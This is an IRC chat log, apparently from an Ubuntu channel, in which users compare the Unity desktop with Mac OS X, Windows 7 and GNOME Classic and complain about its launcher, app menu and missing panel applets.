KM0201hardcold: i agree, people keep sayin that.... and while my Mac experience is limited... i don't see the similarities either23:52
hardcoldit's more Windows 7-y, with the window popping stuff at the top/sides etc23:52
knightautwellok lol23:52
nemohardcold: erm. the app menu is taken from the OSX app menu23:52
nemoincluding idea of pinning and highlighting23:52
knightautwellso their is a file there or what lol23:52
nemoof course, there were previous ones in linux, but I think they were OSx inspired too23:53
nemoditto moving the app file menu stuff to a top bar23:53
nemothat part really annoys me since I used that top bar for useful stuff23:53
hardcoldWell, if you mean the "Dock" that is from NeXT23:53
gordonjcpoh, I hate the app menu at the top23:53
hardcoldOSX is a glossy version of 198623:53
gordonjcpthat's one of the things that puts me off Macs23:53
KM0201nemo: i've heard more than one person say Gnome similar to MacOS, KDE similar to Windows... while I see the KDE and Windows similarities, I don't really see it between Gnome and Mac OS(some of the older ones.. definitely not the newer ones)23:53
gordonjcpI don't understand how you're supposed to launch apps in Unity23:53
hardcoldwhat app menu at the top? What are you guys referring to?23:54
KM0201gordonjcp: you dock them there, and then click them.23:54
nemogordonjcp: search works pretty well23:54
nemoI need to learn the macro for it23:54
gordonjcpnemo: I can't figure search out23:54
gordonjcpKM0201: yuck23:54
nemoKM0201: what *is* the macro for search?23:54
KM0201gordonjcp: you can dock programs on the sidepanel as well.. open the program.. then when its in the dock, right click and choose "keep"23:54
KM0201nemo: no clue23:55
gordonjcpKM0201: so instead of being able to select the apps from nested menus, I have to play guess-the-square?23:55
KM0201gordonjcp: you can choose the order they are in as well... not really sure what the issue is.23:55
nemogordonjcp: the bit that bugged me was when the icons were identical23:55
gordonjcpKM0201: well, I don't know how to get the side bar thing up23:55
gordonjcpnemo: they *are* identical23:55
nemogordonjcp: there was no way to identify except by launching 'em then grepping the process list23:55
nemoyou can't even choose properties23:55
hardcoldgordonjcp: yeah, looks that way.23:55
KM0201mouse over it (if you'ev got a window all the way to the left, move it to the right)23:56
nemoor change the icon23:56
nemodumbing down for the sake of dumbing down23:56
KM0201nemo: now changing the icon, iv'e not figured out either23:56
gordonjcpKM0201: yeah, so you have to waste a huge bit of space, for a strip of little squares?23:56
gordonjcpKM0201: also, I can't figure out what to actually *do* with it23:56
nemoKM0201: changing the icon *or* figuring out what it is about to launch by path23:56
nemomy problem was identical firefox icons23:56
hardcoldI have an unusual way of accessing apps in OSX23:56
KM0201gordonjcp: i think that right now, is just a minor bug... unity is far from perfect, if you want it to be perfect, wait till 11.10 or 12.0423:56
gordonjcpsometimes you click a square and it launches an app, sometimes you click a square and it makes all the windows whirl around the screen23:56
hardcoldAside from the Dock, I created an ordered apps folder, color coded by category23:57
KM0201i've not had any windows whirling23:57
gordonjcpKM0201: I'd say making the desktop unusable is a bit more than a "minor bug" ;-)23:57
hardcoldall my apps are in the apps folder, but I put aliases of them in my special sorted folder23:57
nemogordonjcp: eh. desktop is just fine under Classic :)23:57
KM0201gordonjcp: its not perfect.. thats why ubuntu classic is still there.. but the bugs have to be worked out23:57
hardcoldClassic works like Mac OS823:58
knightautwelli have a question why when i install dhcp3 the folder says only dhcp?23:58
KM0201gordonjcp: only way to work the bugs out, is to get users using it, so they can file bug reports.23:58
gordonjcpKM0201: so are they doing away with the sidebar thing, and putting back a normal taskbar?23:58
nemohardcold: classic is a lot more customisable23:58
hardcoldwhere you select your apps from folders in a drop-down menu23:58
nemohardcold: I seriously miss my applets in unity23:58
hardcoldis an applet a widget?23:58
nemohardcold: right click in some free space on a panel and choose "add to panel"23:59
hardcoldIn OSX you have "Dashboard" which pops up with "widgets" like clocks and weather and such, then Microsoft copied this for "gadgets" in Windows 723:59
nemothe ones I miss are cpu frequency control, and cpu/mem/network monitor23:59

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